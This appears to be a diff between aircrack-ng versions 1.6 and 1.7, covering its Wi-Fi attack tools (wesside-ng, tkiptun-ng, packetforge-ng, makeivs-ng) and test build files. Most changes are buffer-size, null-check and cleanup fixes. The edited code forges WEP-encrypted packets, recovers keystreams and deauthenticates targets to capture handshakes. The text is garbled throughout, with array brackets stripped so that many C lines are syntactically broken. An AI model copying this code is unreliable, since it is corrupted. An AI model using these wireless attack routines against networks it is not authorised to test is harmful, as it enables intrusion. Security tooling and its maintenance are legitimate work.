 
-	unsigned char buf2048;
+	unsigned char bufsizeof(struct ieee80211_frame) * 16;
 	struct ieee80211_frame * wh = (struct ieee80211_frame *) buf;
 	unsigned char * data = (unsigned char *) (wh + 1);
 	int dlen;
@@ -1858,7 +1865,7 @@
 	/* init */
 	if (es->es_astate != AS_DECRYPT_IP)
 	{
-		unsigned char clear1024;
+		unsigned char clear1024 = {0};
 		unsigned char * prga = es->es_prga_d;
 		unsigned char * ct;
 		struct ieee80211_frame * wh = (struct ieee80211_frame *) es->es_packet;
@@ -1887,8 +1894,7 @@
 		/* tot len */
 		totlen = es->es_have_packet - sizeof(*wh) - 4 - 8 - 4;
 		totlen = htons(totlen);
-		len = 2;
-		memcpy(clear, &totlen, len);
+		memcpy(clear, &totlen, len); //-V512
 		xor(prga, clear, ct, len);
 		prga += len;
 		ct += len;
@@ -1922,7 +1928,7 @@
 {
 	REQUIRE(es != NULL);
 
-	unsigned char buf2048;
+	unsigned char bufsizeof(struct ieee80211_frame) * 16;
 	struct ieee80211_frame * wh = (struct ieee80211_frame *) buf;
 	unsigned char * data = (unsigned char *) (wh + 1);
 	int dlen;
@@ -1950,7 +1956,7 @@
 	data += 8;
 
 	/* arp */
-	ah = (struct arphdr *) data;
+	ah = (struct arphdr *) data; //-V641
 	ah->ar_hrd = htons(ARPHRD_ETHER);
 	ah->ar_pro = htons(ETHERTYPE_IP);
 	ah->ar_hln = 6;
@@ -1971,8 +1977,10 @@
 	assert(es->es_prgalen >= dlen + 4);
 	xor(datas, datas, es->es_prga, dlen + 4);
 
-	printf("Sending who has %s", inet_ntoa(es->es_rtrip));
-	printf(" tell %s\n", inet_ntoa(es->es_myip));
+	char const * const netip = inet_ntoa(es->es_rtrip);
+	printf("Sending who has %s", netip ? netip : "<unknown>");
+	char const * const myip = inet_ntoa(es->es_myip);
+	printf(" tell %s\n", myip ? myip : "<unknown>");
 	send_frame(es, wh, data - buf + 4);
 }
 
@@ -1980,7 +1988,7 @@
 {
 	REQUIRE(es != NULL);
 
-	unsigned char buf2048;
+	unsigned char bufsizeof(struct ieee80211_frame) * 16;
 	struct ieee80211_frame * wh = (struct ieee80211_frame *) buf;
 	unsigned char * data = (unsigned char *) (wh + 1);
 	int dlen;
@@ -2010,7 +2018,7 @@
 	data += 8;
 
 	/* ip */
-	iph = (struct ip *) data;
+	iph = (struct ip *) data; //-V641
 	iph->ip_hl = 5;
 	iph->ip_v = 4;
 	iph->ip_len = htons(sizeof(*iph) + sizeof(*uh) + S_HELLO_LEN);
@@ -2019,10 +2027,10 @@
 	iph->ip_p = IPPROTO_UDP;
 	iph->ip_src = es->es_myip;
 	iph->ip_dst = es->es_srvip;
-	iph->ip_sum = in_cksum((unsigned short *) iph, 20);
+	iph->ip_sum = in_cksum((uint8_t *) iph, 20);
 
 	/* udp */
-	uh = (struct udphdr *) (iph + 1);
+	uh = (struct udphdr *) (iph + 1); //-V1027
 	uh->uh_sport = htons(53);
 	uh->uh_dport = htons(es->es_udp_port);
 	uh->uh_ulen = htons(sizeof(*uh) + S_HELLO_LEN);
@@ -2051,7 +2059,7 @@
 {
 	REQUIRE(es != NULL);
 
-	unsigned char buf2048;
+	unsigned char bufsizeof(struct ieee80211_frame) * 16;
 	struct ieee80211_frame * wh = (struct ieee80211_frame *) buf;
 	unsigned char * data = (unsigned char *) (wh + 1);
 	int dlen;
@@ -2079,7 +2087,7 @@
 	data += 8;
 
 	/* ip */
-	iph = (struct ip *) data;
+	iph = (struct ip *) data; //-V641
 	iph->ip_hl = 5;
 	iph->ip_v = 4;
 	dlen = rp->rp_len - sizeof(*wh) - 4 - 4 + 2;
@@ -2089,10 +2097,10 @@
 	iph->ip_p = IPPROTO_UDP;
 	iph->ip_src = es->es_myip;
 	iph->ip_dst = es->es_srvip;
-	iph->ip_sum = in_cksum((unsigned short *) iph, 20);
+	iph->ip_sum = in_cksum((uint8_t *) iph, 20);
 
 	/* udp */
-	uh = (struct udphdr *) (iph + 1);
+	uh = (struct udphdr *) (iph + 1); //-V1027
 	uh->uh_sport = htons(53);
 	uh->uh_dport = htons(es->es_udp_port);
 	uh->uh_ulen = htons(sizeof(*uh) + dlen);
@@ -2117,7 +2125,7 @@
 {
 	REQUIRE(es != NULL);
 
-	unsigned char buf2048;
+	unsigned char bufsizeof(struct ieee80211_frame) * 16;
 	struct ieee80211_frame * wh = (struct ieee80211_frame *) buf;
 	unsigned char * data = (unsigned char *) (wh + 1);
 	int dlen;
@@ -2232,7 +2240,8 @@
 	if (es->es_astate != AS_CHECK_INET) return;
 
 	memcpy(&es->es_pubip, &data.addr, sizeof(es->es_pubip));
-	printf("Internet w0rx.  Public IP %s\n", inet_ntoa(es->es_pubip));
+	char const * const pubip = inet_ntoa(es->es_pubip);
+	printf("Internet w0rx.  Public IP %s\n", pubip ? pubip : "<unknown>");
 
 	data.id = ntohs(data.id);
 	if (data.id != es->es_rpacket_id)
@@ -2367,7 +2376,7 @@
 {
 	REQUIRE(es != NULL);
 
-	unsigned char buf2048;
+	unsigned char bufsizeof(struct ieee80211_frame) * 16;
 	struct ieee80211_frame * wh = (struct ieee80211_frame *) buf;
 	unsigned char * data = (unsigned char *) (wh + 1);
 	int dlen;

aircrack-ng-1.6.tar.gz/src/ivstools/ivstools.c -> aircrack-ng-1.7.tar.gz/src/ivstools/ivstools.c Changed

@@ -1,7 +1,7 @@
 /*
   *  IVS Tools - Convert or merge IVs
   *
-  *  Copyright (C) 2006-2020 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
+  *  Copyright (C) 2006-2022 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
   *  Copyright (C) 2004, 2005  Christophe Devine (pcap2ivs and mergeivs)
   *
   *  This program is free software; you can redistribute it and/or modify
@@ -77,7 +77,7 @@
 {
 	char * version_info
 		= getVersion("ivsTools", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC);
-	printf("\n  %s - (C) 2006-2020 Thomas d\'Otreppe\n"
+	printf("\n  %s - (C) 2006-2022 Thomas d\'Otreppe\n"
 		   "  https://www.aircrack-ng.org\n"
 		   "\n   usage: ",
 		   version_info);
@@ -208,7 +208,7 @@
 {
 	REQUIRE(h80211 != NULL);
 
-	int seq, clen;
+	int clen;
 	size_t dlen;
 	size_t i;
 	size_t n;
@@ -235,9 +235,6 @@
 	if ((h802110 & IEEE80211_FC0_TYPE_MASK) == IEEE80211_FC0_TYPE_CTL)
 		return (FAILURE);
 
-	/* grab the sequence number */
-	seq = ((h8021122 >> 4) + (h8021123 << 4));
-
 	/* locate the access point's MAC address */
 
 	switch (h802111 & IEEE80211_FC1_DIR_MASK)
@@ -249,11 +246,9 @@
 			memcpy(bssid, h80211 + 4, 6);
 			break; // ToDS
 		case IEEE80211_FC1_DIR_FROMDS:
-			memcpy(bssid, h80211 + 10, 6);
-			break; // FromDS
 		case IEEE80211_FC1_DIR_DSTODS:
 			memcpy(bssid, h80211 + 10, 6);
-			break; // WDS -> Transmitter taken as BSSID
+			break;
 	}
 
 	/* update our chained list of access points */

aircrack-ng-1.6.tar.gz/src/kstats/kstats.c -> aircrack-ng-1.7.tar.gz/src/kstats/kstats.c Changed

aircrack-ng-1.6.tar.gz/src/makeivs-ng/makeivs-ng.c -> aircrack-ng-1.7.tar.gz/src/makeivs-ng/makeivs-ng.c Changed

@@ -1,7 +1,7 @@
 /*
   * Server for osdep network driver.  Uses osdep itself!  ph33r teh recursion
   *
-  *  Copyright (C) 2006-2020 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
+  *  Copyright (C) 2006-2022 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
   *  Copyright (C) 2004, 2005 Christophe Devine
   *
   *  This program is free software; you can redistribute it and/or modify
@@ -41,7 +41,7 @@
 static const char usage =
 
 	"\n"
-	"  %s - (C) 2006-2020 Thomas d\'Otreppe\n"
+	"  %s - (C) 2006-2022 Thomas d\'Otreppe\n"
 	"  https://www.aircrack-ng.org\n"
 	"\n"
 	"  usage: makeivs-ng options\n"
@@ -120,16 +120,6 @@
 
 				break;
 
-			case ':':
-
-				goto usage;
-				break;
-
-			case '?':
-
-				goto usage;
-				break;
-
 			case 'n':
 
 				paramUsed = 1;
@@ -249,7 +239,6 @@
 
 			case 'f':
 
-				paramUsed = 1;
 				if (atoi(optarg) < 0 || atoi(optarg) > 0xFFFFFF)
 				{
 					printf(usage,
@@ -377,11 +366,6 @@
 
 				break;
 
-			case 'h':
-			case 'H':
-				goto usage;
-				break;
-
 			default:
 				goto usage;
 		}
@@ -568,12 +552,7 @@
 			SWAP(Si, Sj);
 		}
 
-		if (errorrate > 0 && (rand_f32() <= (float) (errorrate /
-#if defined(__x86_64__) && defined(__CYGWIN__)
-													 (0.0f + 100))))
-#else
-													 100.0f)))
-#endif
+		if (errorrate > 0 && (rand_f32() <= (float) (errorrate / 100.0f)))
 		{
 			SWAP(S1, S11);
 		}
@@ -616,13 +595,7 @@
 			fprintf(f_ivs_out, "%c", S(Si + Sj) & 0xFF);
 		}
 		if ((n % 10000) == 0)
-			printf("%2.1f%%\r",
-				   ((float) n / (float) count) *
-#if defined(__x86_64__) && defined(__CYGWIN__)
-					   (0.0f + 100));
-#else
-					   100.0f);
-#endif
+			printf("%2.1f%%\r", ((float) n / (float) count) * 100.0f);
 		fflush(stdout);
 	}

aircrack-ng-1.6.tar.gz/src/packetforge-ng/packetforge-ng.c -> aircrack-ng-1.7.tar.gz/src/packetforge-ng/packetforge-ng.c Changed

@@ -2,7 +2,7 @@
  *  802.11 ARP-request WEP packet forgery
  *  UDP, ICMP and custom packet forging developed by Martin Beck
  *
- *  Copyright (C) 2006-2020 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
+ *  Copyright (C) 2006-2022 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
  *  Copyright (C) 2004, 2005  Christophe Devine (arpforge)
  *
  *  This program is free software; you can redistribute it and/or modify
@@ -83,7 +83,7 @@
 
 static const char usage
 	= "\n"
-	  "  %s - (C) 2006-2020 Thomas d\'Otreppe\n"
+	  "  %s - (C) 2006-2022 Thomas d\'Otreppe\n"
 	  "  Original work: Martin Beck\n"
 	  "  https://www.aircrack-ng.org\n"
 	  "\n"
@@ -675,12 +675,17 @@
 	FILE * f;
 	int size;
 	struct ivs2_filehdr fivs2;
+	size_t file_sz = file != NULL ? strlen(file) : 0;
 
 	if (file == NULL) return (1);
-	if (*dest == NULL) *dest = (unsigned char *) malloc(1501);
+	if (*dest == NULL)
+	{
+		*dest = (unsigned char *) malloc(1501);
+		REQUIRE(*dest != NULL);
+	}
 
-	if (memcmp(file + (strlen(file) - 4), ".xor", 4) != 0
-		&& memcmp(file + (strlen(file) - 4), "." IVS2_EXTENSION, 4) != 0)
+	if (memcmp(file + (file_sz - 4), ".xor", 4) != 0
+		&& memcmp(file + (file_sz - 4), "." IVS2_EXTENSION, 4) != 0)
 	{
 		printf("Is this really a PRGA file: %s?\n", file);
 	}
@@ -953,9 +958,6 @@
 				break;
 
 			case ':':
-				printf("\"%s --help\" for help.\n", argv0);
-				return (EXIT_FAILURE);
-
 			case '?':
 				printf("\"%s --help\" for help.\n", argv0);
 				return (EXIT_FAILURE);

aircrack-ng-1.6.tar.gz/src/tkiptun-ng/tkiptun-ng.c -> aircrack-ng-1.7.tar.gz/src/tkiptun-ng/tkiptun-ng.c Changed

@@ -133,7 +133,7 @@
 static const char usage =
 
 	"\n"
-	"  %s - (C) 2008-2020 Thomas d\'Otreppe\n"
+	"  %s - (C) 2008-2022 Thomas d\'Otreppe\n"
 	"  https://www.aircrack-ng.org\n"
 	"\n"
 	"  usage: tkiptun-ng <options> <replay interface>\n"
@@ -267,7 +267,7 @@
 
 // unused, but needed for link
 struct devices dev;
-struct wif *_wi_in, *_wi_out;
+extern struct wif *_wi_in, *_wi_out;
 
 struct ARP_req
 {
@@ -289,7 +289,7 @@
 };
 
 unsigned long nb_pkt_sent;
-unsigned char h802114096;
+extern unsigned char h802114096;
 static unsigned char srcbuf4096;
 static char strbuf512;
 static int alarmed;
@@ -565,7 +565,7 @@
 	*length += 8;
 
 	memcpy(buf, packet + 26, (*length) - 26);
-	memcpy(packet + 26 + 8, buf, (*length) - 26);
+	memcpy(packet + 26 + 8, buf, (*length) - 26); //-V512
 
 	if (toDS)
 		memcpy(packet + 26,
@@ -585,14 +585,14 @@
 
 	if (toDS)
 	{
-		if (lopt.chopped_to_prga_len - 8 < *length - 26 - 8) return (1);
+		if (lopt.chopped_to_prga_len < *length - 26) return (1);
 
 		for (i = 0; i < *length - 26 - 8; i++)
 			packet26 + 8 + i ^= lopt.chopped_to_prga8 + i;
 	}
 	else
 	{
-		if (lopt.chopped_from_prga_len - 8 < *length - 26 - 8) return (1);
+		if (lopt.chopped_from_prga_len < *length - 26) return (1);
 
 		INVARIANT(*length < (INT_MAX - 26 - 8 - 1));
 
@@ -674,7 +674,7 @@
 	int i, j, k, l, z, len;
 	unsigned char smac6, dmac6, bssid6;
 
-	unsigned char *ptr, *psmac, *psip, *pdmac, *pdip;
+	unsigned char *ptr, *psip, *pdmac, *pdip;
 	unsigned char arp4096;
 
 	z = ((srcbuf1 & 3) != 3) ? 24 : 30;
@@ -711,7 +711,6 @@
 	}
 
 	ptr = arp;
-	psmac = arp + 16;
 	pdmac = arp + 26;
 	psip = arp + 22;
 	pdip = arp + 32;
@@ -1253,7 +1252,7 @@
 
 		printf("Checking 10.x.y.z\n");
 		/* check 10.i.j.1-254 */
-		psip0 = 10;
+		psip0 = 10; //-V519
 
 		if (check_guess(srcbuf,
 						chopped,
@@ -1294,8 +1293,8 @@
 	REQUIRE(src_packet != NULL);
 
 	float f, ticks4;
-	int i, j, n, z, caplen, srcz, srclen;
-	int data_start, data_end, srcdiff, diff;
+	int i, j, n, z, caplen, srclen;
+	int data_start, data_end;
 	int guess, is_deauth_mode;
 	int nb_bad_pkt;
 	int tried_header_rec = 0;
@@ -1345,7 +1344,6 @@
 	z = ((h802111 & 3) != 3) ? 24 : 30;
 	if ((h802110 & 0x80) == 0x80) /* QoS */
 		z += 2;
-	srcz = z;
 
 	if ((unsigned) caplen > sizeof(srcbuf)
 		|| (unsigned) caplen > sizeof(h80211))
@@ -1443,7 +1441,6 @@
 
 	data_start = 26 + 8;
 	srclen = data_end = n;
-	srcdiff = z - 24;
 
 	chopped24 ^= 0x01;
 	chopped25 = 0x00;
@@ -1553,7 +1550,7 @@
 				   "RTL8180.\n"
 				   "    * The wireless interface isn't setup on the correct "
 				   "channel.\n");
-			if (is_deauth_mode)
+			if (is_deauth_mode) //-V547
 				printf("    * The AP isn't vulnerable when operating in "
 					   "non-authenticated mode.\n"
 					   "      Run aireplay-ng in authenticated mode instead "
@@ -1641,8 +1638,6 @@
 			if ((h802110 & 0x80) == 0x80) /* QoS */
 				z += 2;
 
-			diff = z - 24;
-
 			if ((choppeddata_end + 0 ^ srcbufdata_end + 0) == 0x06
 				&& (choppeddata_end + 1 ^ srcbufdata_end + 1) == 0x04
 				&& (choppeddata_end + 2 ^ srcbufdata_end + 2) == 0x00)
@@ -1717,7 +1712,7 @@
 			 * AP properly drops frames with an invalid ICV *
 			 * so this guess always has its bit 8 set to 0  */
 
-			if (is_deauth_mode)
+			if (is_deauth_mode) //-V547
 			{
 				opt.r_smac1 |= (guess < 256);
 				opt.r_smac5 = guess & 0xFF;
@@ -1823,7 +1818,7 @@
 			if (h802117 != opt.r_smac3) continue;
 			if (h802118 != opt.r_smac4) continue;
 
-			if (data_end < 41) goto header_rec;
+			if (data_end < 41) goto header_rec; //-V547
 
 			printf("\n\nFailure: the access point does not properly "
 				   "discard frames with an\ninvalid ICV - try running "
@@ -1904,7 +1899,7 @@
 			   nb_pkt_sent,
 			   ticks3);
 
-		if (is_deauth_mode)
+		if (is_deauth_mode) //-V547
 		{
 			opt.r_smac1 = rand_u8() & 0x3E;
 			opt.r_smac2 = rand_u8();
@@ -1955,7 +1950,6 @@
 	z = ((h802111 & 3) != 3) ? 24 : 30;
 	if ((h802110 & 0x80) == 0x80) /* QoS */
 		z += 2;
-	diff = z - 24;
 
 	chopped26 + 8 + 0 = srcbuf26 + 8 + 0 ^ b1;
 	chopped26 + 8 + 1 = srcbuf26 + 8 + 1 ^ b2;
@@ -2141,7 +2135,7 @@
 		return (1);
 	}
 
-	n = pkh.caplen + 8 - 26 - 8;
+	n = pkh.caplen - 26;
 
 	if (fwrite(chopped + 26 + 8, n, 1, f_cap_out) != 1)
 	{
@@ -2153,8 +2147,8 @@
 	fclose(f_cap_out);
 
 	PCT;
-	printf("\nCompleted in %lds (%0.2f bytes/s)\n\n",
-		   (long) time(NULL) - tt,
+	printf("\nCompleted in %llds (%0.2f bytes/s)\n\n",
+		   (long long) time(NULL) - tt,
 		   (float) (pkh.caplen - 6 - 26) / (float) (time(NULL) - tt));
 
 	free(chopped);
@@ -2164,13 +2158,11 @@
 
 static int getHDSK(void)
 {
-	int i, n;
+	int i;
 	int aacks, sacks, caplen;
 	struct timeval tv;
 	fd_set rfds;
 
-	n = 0;
-
 	/* deauthenticate the target */
 
 	memcpy(h80211, DEAUTH_REQ, 26);
@@ -2263,7 +2255,8 @@
 
 int main(int argc, char * argv)
 {
-	int i, j, n, ret, got_hdsk;
+	int i, ret, got_hdsk;
+	unsigned int n;
 	char *s, buf128;
 	int caplen = 0;
 	unsigned char packet14096;
@@ -2324,10 +2317,6 @@
 				break;
 
 			case ':':
-
-				printf("\"%s --help\" for help.\n", argv0);
-				return (1);
-
 			case '?':
 
 				printf("\"%s --help\" for help.\n", argv0);
@@ -2541,10 +2530,9 @@
 				buf1 = s1;
 				buf2 = '\0';
 				i = 0;
-				j = 0;
 				while (sscanf(buf, "%x", &n) == 1)
 				{
-					if (n < 0 || n > 255)
+					if (n > 255)
 					{
 						printf("Invalid keystream.\n");
 						printf("\"%s --help\" for help.\n", argv0);
@@ -2574,7 +2562,7 @@
 			case 'p':
 
 				memset(lopt.psk, 0, sizeof(lopt.psk));
-				if (strlen(optarg) < 8 || strlen(optarg) > 63)
+				if (strlen(optarg) < 8 || strlen(optarg) > 63) //-V804
 				{
 					printf("PSK with invalid length specified 8-64.\n");
 					printf("\"%s --help\" for help.\n", argv0);
@@ -2823,7 +2811,7 @@
 	/* DO MICHAEL TEST */
 
 	memset(buf, 0, 128);
-	memcpy(buf, "M", 1);
+	buf0 = 'M';
 	i = michael_test((unsigned char *) "\x82\x92\x5c\x1c\xa1\xd1\x30\xb8",
 					 (unsigned char *) buf,
 					 strlen(buf),

aircrack-ng-1.6.tar.gz/src/wesside-ng/wesside-ng.c -> aircrack-ng-1.7.tar.gz/src/wesside-ng/wesside-ng.c Changed

@@ -104,11 +104,11 @@
 struct frag_state
 {
 	struct ieee80211_frame fs_wh;
-	unsigned char * fs_data;
+	struct timeval fs_last;
 	int fs_len;
-	unsigned char * fs_ptr;
 	int fs_waiting_relay;
-	struct timeval fs_last;
+	unsigned char * fs_data;
+	unsigned char * fs_ptr;
 };
 
 struct prga_info
@@ -187,8 +187,7 @@
 					PTW_tableentry tablePTW_KEYHSBYTESPTW_n,
 					int choicesKEYHSBYTES,
 					int depthKEYHSBYTES,
-					int prod,
-					int keylimit);
+					int prod);
 
 /* display the current votes */
 
@@ -197,8 +196,7 @@
 					PTW_tableentry tablePTW_KEYHSBYTESPTW_n,
 					int choicesKEYHSBYTES,
 					int depthKEYHSBYTES,
-					int prod,
-					int keylimit)
+					int prod)
 {
 	UNUSED_PARAM(B);
 	UNUSED_PARAM(force);
@@ -206,7 +204,6 @@
 	UNUSED_PARAM(choices);
 	UNUSED_PARAM(depth);
 	UNUSED_PARAM(prod);
-	UNUSED_PARAM(keylimit);
 }
 
 static inline struct wstate * get_ws(void) { return &_wstate; }
@@ -379,7 +376,7 @@
 {
 	REQUIRE(ws != NULL);
 
-	static unsigned char * lame = 0;
+	static unsigned char * lame = NULL;
 	static int lamelen = 0;
 	static int lastlen = 0;
 
@@ -420,6 +417,7 @@
 			lamelen = len;
 		}
 
+		REQUIRE(lame != NULL);
 		memcpy(lame, buf, len);
 		ws->ws_retries = 0;
 		lastlen = len;
@@ -459,7 +457,7 @@
 {
 	REQUIRE(ws != NULL);
 
-	unsigned char buf128;
+	unsigned char bufsizeof(struct ieee80211_frame) * 32;
 	struct ieee80211_frame * wh = (struct ieee80211_frame *) buf;
 	unsigned char * body;
 	int ssidlen;
@@ -531,7 +529,8 @@
 {
 	REQUIRE(ws != NULL);
 
-	unsigned char buf128 __attribute__((aligned(8)));
+	unsigned char bufsizeof(struct ieee80211_frame) * 16
+		__attribute__((aligned(8)));
 	struct ieee80211_frame * wh = (struct ieee80211_frame *) buf;
 	unsigned short * n;
 
@@ -953,7 +952,7 @@
 
 	unsigned char * body;
 	int bodylen;
-	unsigned char clear36;
+	unsigned char clearsizeof(struct arphdr) * 32 = {0};
 	unsigned char * ptr;
 	struct arphdr * h;
 	int i;
@@ -1090,11 +1089,12 @@
 	}
 
 	memset(ws->ws_netip, 0, 16);
-	strncpy(ws->ws_netip, inet_ntoa(*in), 16 - 1);
+	char * netip = inet_ntoa(*in);
+	strlcpy(ws->ws_netip, netip ? netip : "", 16);
 
 	time_print("Got IP=(%s)\n", ws->ws_netip);
 	memset(ws->ws_myip, 0, sizeof(ws->ws_myip));
-	strncpy(ws->ws_myip, ws->ws_netip, sizeof(ws->ws_myip) - 1);
+	strlcpy(ws->ws_myip, ws->ws_netip, sizeof(ws->ws_myip));
 
 	ptr = strchr(ws->ws_myip, '.');
 	ALLEGE(ptr);
@@ -1402,7 +1402,8 @@
 	REQUIRE(fs != NULL);
 	REQUIRE(pi != NULL);
 
-	unsigned char buf4096 __attribute__((aligned(8)));
+	unsigned char bufsizeof(struct ieee80211_frame) * 16
+		__attribute__((aligned(8)));
 	struct ieee80211_frame * wh;
 	unsigned char * body;
 	int fragsize;
@@ -1413,7 +1414,7 @@
 	unsigned short sn, fn;
 
 	wh = (struct ieee80211_frame *) buf;
-	memcpy(wh, &fs->fs_wh, sizeof(*wh));
+	memcpy(wh, &fs->fs_wh, sizeof(*wh)); //-V512
 
 	body = (unsigned char *) wh + sizeof(*wh);
 	memcpy(body, &pi->pi_iv, 3);
@@ -1442,8 +1443,9 @@
 	pcrc = (unsigned int *) (body + fragsize); //-V1032
 	*pcrc = htole32(crc);
 
-	for (i = 0; fragsize < (INT_MAX - 4) && i < (fragsize + 4)
-				&& i < (sizeof(buf) - sizeof(*wh));
+	ALLEGE(fragsize < INT_MAX - 4);
+	for (i = 0;
+		 i < (fragsize + 4) && (size_t) i < (sizeof(buf) - sizeof(*wh) - 1);
 		 i++)
 		bodyi ^= pi->pi_prgai;
 
@@ -1556,8 +1558,8 @@
 		ws->ws_dfs.fs_ptr = ws->ws_dfs.fs_data;
 
 		seq = fnseq(0, ws->ws_psent);
-		ws->ws_dfs.fs_wh.i_seq0 = (u_int8_t)(seq >> 8);
-		ws->ws_dfs.fs_wh.i_seq1 = (u_int8_t)(seq % 256);
+		ws->ws_dfs.fs_wh.i_seq0 = (uint8_t)(seq >> 8);
+		ws->ws_dfs.fs_wh.i_seq1 = (uint8_t)(seq % 256);
 	}
 
 	send_fragment(ws, &ws->ws_dfs, &ws->ws_dpi);
@@ -1570,7 +1572,7 @@
 					 char * dstip,
 					 unsigned char * dstmac)
 {
-	static unsigned char arp_pkt128;
+	static unsigned char arp_pktsizeof(struct ieee80211_frame) * 16;
 	unsigned char * body;
 	unsigned char * ptr;
 	struct ieee80211_frame * wh;
@@ -1596,7 +1598,7 @@
 
 	wepify(ws, body, 8 + 8 + 20);
 	arp_len = sizeof(*wh) + 4 + 8 + 8 + 20 + 4;
-	assert(arp_len < (int) sizeof(arp_pkt));
+	assert(arp_len < (int) sizeof(arp_pkt)); //-V547
 
 	send_frame(ws, arp_pkt, arp_len);
 }
@@ -1696,7 +1698,7 @@
 	while (len--)
 	{
 		snprintf(tmp, 3, "%.2X", *key++);
-		strncat(k, tmp, 2);
+		strlcat(k, tmp, sizeof(k));
 		if (len) strncat(k, ":", 2);
 	}

aircrack-ng-1.6.tar.gz/src/wpaclean/wpaclean.c -> aircrack-ng-1.7.tar.gz/src/wpaclean/wpaclean.c Changed

aircrack-ng-1.6.tar.gz/test/Makefile.inc -> aircrack-ng-1.7.tar.gz/test/Makefile.inc Changed

@@ -49,7 +49,7 @@
 TESTS_ENVIRONMENT ?= $(AM_TESTS_ENVIRONMENT)
 
 test_hex_string_to_array_SOURCES = %D%/test-hex_string_to_array.c
-test_hex_string_to_array_LDADD = $(LIBACCRYPTO_LIBS) $(LIBAIRCRACK_LIBS)
+test_hex_string_to_array_LDADD = $(libaccrypto_la_LIBADD) $(libaircrack_la_LIBADD) $(LIBACCRYPTO_LIBS) $(LIBAIRCRACK_LIBS)
 
 check_PROGRAMS += test-hex_string_to_array
 
@@ -74,6 +74,8 @@
 		 %D%/test-aircrack-ng-0018.sh \
 		 %D%/test-aircrack-ng-0019.sh \
 		 %D%/test-aircrack-ng-0021.sh \
+		 %D%/test-aircrack-ng-0022.sh \
+		 %D%/test-aircrack-ng-0023.sh \
 		 %D%/test-airdecap-ng-0001.sh \
 		 %D%/test-airdecap-ng-0002.sh \
 		 %D%/test-airdecap-ng-0003.sh \
@@ -104,7 +106,8 @@
 		 %D%/test-airodump-ng-0002.sh \
 		 %D%/test-airodump-ng-0003.sh \
 		 %D%/test-airodump-ng-0004.sh \
-		 %D%/test-airodump-ng-0005.sh
+		 %D%/test-airodump-ng-0005.sh \
+		 %D%/test-airodump-ng-0006.sh
 endif
 
 if HAVE_SQLITE3
@@ -132,6 +135,8 @@
 			  %D%/test-aircrack-ng-0018.sh \
 			  %D%/test-aircrack-ng-0019.sh \
 			  %D%/test-aircrack-ng-0021.sh \
+			  %D%/test-aircrack-ng-0022.sh \
+			  %D%/test-aircrack-ng-0023.sh \
 			  %D%/test-airdecap-ng-0001.sh \
 			  %D%/test-airdecap-ng-0002.sh \
 			  %D%/test-airdecap-ng-0003.sh \
@@ -171,7 +176,9 @@
 			  %D%/test-airdecap-ng.sh \
 			  %D%/test-airolib-sqlite.sh \
 			  %D%/MOM1.cap \
-			  %D%/pass.txt
+			  %D%/pass.txt \
+			  %D%/test23.pcap \
+			  %D%/testm1m2m3.pcap
 
 if EXPECT
 EXTRA_DIST += %D%/test-aircrack-ng-0020.sh \
@@ -197,7 +204,8 @@
 			  %D%/test-airodump-ng-0002.sh \
 			  %D%/test-airodump-ng-0003.sh \
 			  %D%/test-airodump-ng-0004.sh \
-			  %D%/test-airodump-ng-0005.sh
+			  %D%/test-airodump-ng-0005.sh\
+			  %D%/test-airodump-ng-0006.sh
 endif
 
 if HAVE_SQLITE3
@@ -208,8 +216,3 @@
 include %D%/unit/Makefile.inc
 endif
 include %D%/cryptounittest/Makefile.inc
-
-
-VALGRIND_SUPPRESSIONS_FILES = $(abs_srcdir)/build/valgrind.supp
-EXTRA_DIST += %D%/../build/valgrind.supp
-@VALGRIND_CHECK_RULES@

aircrack-ng-1.6.tar.gz/test/cryptounittest/Makefile.inc -> aircrack-ng-1.7.tar.gz/test/cryptounittest/Makefile.inc Changed

@@ -49,6 +49,7 @@
 						   $(CRYPTO_CFLAGS)
 test_encrypt_wep_LDADD   = $(LIBACCRYPTO_LIBS) $(LIBAIRCRACK_LIBS) \
 						   $(PTHREAD_LIBS) \
+						   $(CRYPTO_LDFLAGS) \
 						   $(CRYPTO_LIBS) \
 						   $(ZLIB_LIBS)
 
@@ -58,6 +59,7 @@
 test_calc_pmk_LDADD   = $(LIBACCRYPTO_LIBS) $(LIBAIRCRACK_LIBS) \
 						$(LIBAIRCRACK_CE_WPA_LIBS) \
 						$(PTHREAD_LIBS) \
+						$(CRYPTO_LDFLAGS) \
 						$(CRYPTO_LIBS) \
 						$(ZLIB_LIBS)
 
@@ -65,6 +67,7 @@
 test_calc_mic_CFLAGS  = $(PTHREAD_CFLAGS) $(CRYPTO_CFLAGS)
 test_calc_mic_LDADD   = $(LIBACCRYPTO_LIBS) $(LIBAIRCRACK_LIBS) \
 						$(PTHREAD_LIBS) \
+						$(CRYPTO_LDFLAGS) \
 						$(CRYPTO_LIBS) \
 						$(ZLIB_LIBS)
 
@@ -73,6 +76,7 @@
 						$(CRYPTO_CFLAGS)
 test_calc_ptk_LDADD   = $(LIBACCRYPTO_LIBS) $(LIBAIRCRACK_LIBS) \
 						$(PTHREAD_LIBS) \
+						$(CRYPTO_LDFLAGS) \
 						$(CRYPTO_LIBS) \
 						$(ZLIB_LIBS)
 
@@ -81,6 +85,7 @@
 							$(CRYPTO_CFLAGS)
 test_encrypt_ccmp_LDADD   = $(LIBACCRYPTO_LIBS) $(LIBAIRCRACK_LIBS) \
 							$(PTHREAD_LIBS) \
+							$(CRYPTO_LDFLAGS) \
 							$(CRYPTO_LIBS) \
 							$(ZLIB_LIBS)
 
@@ -89,6 +94,7 @@
 							$(CRYPTO_CFLAGS)
 test_decrypt_ccmp_LDADD   = $(LIBACCRYPTO_LIBS) $(LIBAIRCRACK_LIBS) \
 							$(PTHREAD_LIBS) \
+							$(CRYPTO_LDFLAGS) \
 							$(CRYPTO_LIBS) \
 							$(ZLIB_LIBS)

aircrack-ng-1.6.tar.gz/test/cryptounittest/test-calc-mic.c -> aircrack-ng-1.7.tar.gz/test/cryptounittest/test-calc-mic.c Changed

aircrack-ng-1.6.tar.gz/test/cryptounittest/test-calc-ptk.c -> aircrack-ng-1.7.tar.gz/test/cryptounittest/test-calc-ptk.c Changed

aircrack-ng-1.7.tar.gz/test/test-aircrack-ng-0022.sh Added

aircrack-ng-1.7.tar.gz/test/test-aircrack-ng-0023.sh Added

